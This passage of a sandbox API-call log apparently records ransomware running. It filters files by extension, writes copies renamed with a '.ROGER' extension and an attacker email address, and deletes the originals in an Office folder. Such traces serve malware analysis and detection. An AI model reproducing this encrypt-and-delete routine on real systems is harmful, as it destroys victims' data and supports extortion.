[0061.243] lstrcmpiW (lpString1=".docx", lpString2="D.EXE") returned -1 [0061.243] lstrlenW (lpString=".pdf") returned 4 [0061.243] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0061.243] lstrlenW (lpString=".xls") returned 4 [0061.243] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0061.243] lstrlenW (lpString=".xlsx") returned 5 [0061.243] lstrcmpiW (lpString1=".xlsx", lpString2="D.EXE") returned -1 [0061.243] lstrlenW (lpString=".ppt") returned 4 [0061.243] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0061.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0061.243] lstrlenW (lpString=".zip") returned 4 [0061.243] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0061.243] lstrlenW (lpString=".rar") returned 4 [0061.243] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0061.243] lstrlenW (lpString=".bz2") returned 4 [0061.244] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0061.244] lstrlenW (lpString=".7z") returned 3 [0061.244] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0061.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0061.244] lstrlenW (lpString=".dbf") returned 4 [0061.244] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0061.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0061.244] lstrlenW (lpString=".1cd") returned 4 [0061.244] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0061.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0061.244] lstrlenW (lpString=".jpg") returned 4 [0061.244] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0061.244] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0061.244] lstrlenW (lpString="MSOXMLMF.DLL") returned 12 [0061.244] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0061.244] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=56192) returned 1 [0061.244] CloseHandle (hObject=0x3a0) returned 1 [0061.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll")) returned 0x20 [0061.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.244] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0061.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0061.245] lstrlenW (lpString=".doc") returned 4 [0061.245] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0061.245] lstrlenW (lpString=".docx") returned 5 [0061.245] lstrcmpiW (lpString1=".docx", lpString2="F.DLL") returned -1 [0061.245] lstrlenW (lpString=".pdf") returned 4 [0061.245] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0061.245] lstrlenW (lpString=".xls") returned 4 [0061.245] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0061.245] lstrlenW (lpString=".xlsx") returned 5 [0061.245] lstrcmpiW (lpString1=".xlsx", lpString2="F.DLL") returned -1 [0061.245] lstrlenW (lpString=".ppt") returned 4 [0061.245] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0061.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0061.245] lstrlenW (lpString=".zip") returned 4 [0061.245] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0061.245] lstrlenW (lpString=".rar") returned 4 [0061.245] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0061.245] lstrlenW (lpString=".bz2") returned 4 [0061.245] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0061.245] lstrlenW (lpString=".7z") returned 3 [0061.245] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0061.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0061.245] lstrlenW (lpString=".dbf") returned 4 [0061.245] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0061.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0061.245] lstrlenW (lpString=".1cd") returned 4 [0061.245] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0061.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0061.245] lstrlenW (lpString=".jpg") returned 4 [0061.245] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0061.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0061.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0061.246] lstrlenW (lpString=".doc") returned 4 [0061.246] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0061.246] lstrlenW (lpString=".docx") returned 5 [0061.246] lstrcmpiW (lpString1=".docx", lpString2="F.DLL") returned -1 [0061.246] lstrlenW (lpString=".pdf") returned 4 [0061.246] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0061.246] lstrlenW (lpString=".xls") returned 4 [0061.246] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0061.246] lstrlenW (lpString=".xlsx") returned 5 [0061.246] lstrcmpiW (lpString1=".xlsx", lpString2="F.DLL") returned -1 [0061.246] lstrlenW (lpString=".ppt") returned 4 [0061.246] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0061.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0061.246] lstrlenW (lpString=".zip") returned 4 [0061.246] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0061.246] lstrlenW (lpString=".rar") returned 4 [0061.246] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0061.246] lstrlenW (lpString=".bz2") returned 4 [0061.246] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0061.246] lstrlenW (lpString=".7z") returned 3 [0061.246] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0061.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0061.246] lstrlenW (lpString=".dbf") returned 4 [0061.246] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0061.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0061.246] lstrlenW (lpString=".1cd") returned 4 [0061.246] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0061.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0061.246] lstrlenW (lpString=".jpg") returned 4 [0061.246] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0061.247] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0061.247] lstrlenW (lpString="MSPTLS.DLL") returned 10 [0061.247] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0061.247] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=1198464) returned 1 [0061.247] CloseHandle (hObject=0x3a0) returned 1 [0061.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll")) returned 0x20 [0061.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.248] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0061.249] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.249] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.249] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0061.249] GetLastError () returned 0x0 [0061.249] ReadFile (in: hFile=0x3a0, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0061.271] WriteFile (in: hFile=0x418, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0061.290] ReadFile (in: hFile=0x3a0, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x24990, lpOverlapped=0x0) returned 1 [0061.562] WriteFile (in: hFile=0x418, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0x249a0, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0x249a0, lpOverlapped=0x0) returned 1 [0061.567] ReadFile (in: hFile=0x3a0, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0061.567] WriteFile (in: hFile=0x418, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0061.567] SetEndOfFile (hFile=0x418) returned 1 [0061.567] CloseHandle (hObject=0x418) returned 1 [0061.567] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.567] SetEndOfFile (hFile=0x3a0) returned 1 [0061.569] CloseHandle (hObject=0x3a0) returned 1 [0061.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.569] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll")) returned 1 [0062.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0062.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0062.055] lstrlenW (lpString=".doc") returned 4 [0062.055] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0062.055] lstrlenW (lpString=".docx") returned 5 [0062.055] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0062.061] lstrlenW (lpString=".pdf") returned 4 [0062.061] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0062.061] lstrlenW (lpString=".xls") returned 4 [0062.061] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0062.061] lstrlenW (lpString=".xlsx") returned 5 [0062.061] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0062.061] lstrlenW (lpString=".ppt") returned 4 [0062.061] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0062.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0062.061] lstrlenW (lpString=".zip") returned 4 [0062.061] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0062.061] lstrlenW (lpString=".rar") returned 4 [0062.061] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0062.061] lstrlenW (lpString=".bz2") returned 4 [0062.061] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0062.061] lstrlenW (lpString=".7z") returned 3 [0062.061] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0062.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0062.061] lstrlenW (lpString=".dbf") returned 4 [0062.061] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0062.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0062.061] lstrlenW (lpString=".1cd") returned 4 [0062.061] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0062.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0062.062] lstrlenW (lpString=".jpg") returned 4 [0062.062] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0062.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0062.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0062.062] lstrlenW (lpString=".doc") returned 4 [0062.062] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0062.062] lstrlenW (lpString=".docx") returned 5 [0062.062] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0062.062] lstrlenW (lpString=".pdf") returned 4 [0062.062] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0062.062] lstrlenW (lpString=".xls") returned 4 [0062.062] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0062.062] lstrlenW (lpString=".xlsx") returned 5 [0062.062] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0062.062] lstrlenW (lpString=".ppt") returned 4 [0062.062] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0062.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0062.062] lstrlenW (lpString=".zip") returned 4 [0062.062] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0062.062] lstrlenW (lpString=".rar") returned 4 [0062.062] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0062.062] lstrlenW (lpString=".bz2") returned 4 [0062.062] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0062.062] lstrlenW (lpString=".7z") returned 3 [0062.062] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0062.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0062.062] lstrlenW (lpString=".dbf") returned 4 [0062.062] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0062.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0062.062] lstrlenW (lpString=".1cd") returned 4 [0062.062] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0062.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0062.062] lstrlenW (lpString=".jpg") returned 4 [0062.062] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0062.063] lstrcmpiW (lpString1=".dll", lpString2=".ROGER") returned -1 [0062.063] lstrlenW (lpString="promointl.dll") returned 13 [0062.063] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0062.997] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=15760) returned 1 [0062.997] CloseHandle (hObject=0x3ac) returned 1 [0062.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll")) returned 0x20 [0062.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0062.997] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0062.997] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.998] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0062.998] GetLastError () returned 0x0 [0062.998] ReadFile (in: hFile=0x3ac, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x3d90, lpOverlapped=0x0) returned 1 [0063.013] WriteFile (in: hFile=0x350, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0x3da0, lpOverlapped=0x0) returned 1 [0063.014] ReadFile (in: hFile=0x3ac, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0063.015] WriteFile (in: hFile=0x350, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xee, lpOverlapped=0x0) returned 1 [0063.015] SetEndOfFile (hFile=0x350) returned 1 [0063.015] CloseHandle (hObject=0x350) returned 1 [0063.015] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0063.015] SetEndOfFile (hFile=0x3ac) returned 1 [0063.016] CloseHandle (hObject=0x3ac) returned 1 [0063.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0063.016] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll")) returned 1 [0063.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0063.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0063.016] lstrlenW (lpString=".doc") returned 4 [0063.016] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0063.016] lstrlenW (lpString=".docx") returned 5 [0063.017] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0063.017] lstrlenW (lpString=".pdf") returned 4 [0063.017] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0063.017] lstrlenW (lpString=".xls") returned 4 [0063.017] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0063.017] lstrlenW (lpString=".xlsx") returned 5 [0063.017] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0063.017] lstrlenW (lpString=".ppt") returned 4 [0063.017] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0063.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0063.017] lstrlenW (lpString=".zip") returned 4 [0063.017] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0063.017] lstrlenW (lpString=".rar") returned 4 [0063.017] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0063.017] lstrlenW (lpString=".bz2") returned 4 [0063.017] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0063.017] lstrlenW (lpString=".7z") returned 3 [0063.017] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0063.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0063.017] lstrlenW (lpString=".dbf") returned 4 [0063.017] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0063.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0063.017] lstrlenW (lpString=".1cd") returned 4 [0063.017] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0063.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0063.017] lstrlenW (lpString=".jpg") returned 4 [0063.017] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0063.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0063.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0063.017] lstrlenW (lpString=".doc") returned 4 [0063.017] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0063.017] lstrlenW (lpString=".docx") returned 5 [0063.017] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0063.017] lstrlenW (lpString=".pdf") returned 4 [0063.017] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0063.018] lstrlenW (lpString=".xls") returned 4 [0063.018] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0063.018] lstrlenW (lpString=".xlsx") returned 5 [0063.018] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0063.018] lstrlenW (lpString=".ppt") returned 4 [0063.018] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0063.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0063.018] lstrlenW (lpString=".zip") returned 4 [0063.018] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0063.018] lstrlenW (lpString=".rar") returned 4 [0063.018] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0063.018] lstrlenW (lpString=".bz2") returned 4 [0063.018] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0063.018] lstrlenW (lpString=".7z") returned 3 [0063.018] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0063.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0063.018] lstrlenW (lpString=".dbf") returned 4 [0063.018] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0063.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0063.018] lstrlenW (lpString=".1cd") returned 4 [0063.018] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0063.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0063.018] lstrlenW (lpString=".jpg") returned 4 [0063.018] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0063.018] lstrcmpiW (lpString1=".dll", lpString2=".ROGER") returned -1 [0063.018] lstrlenW (lpString="pkeyconfig.companion.dll") returned 24 [0063.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common 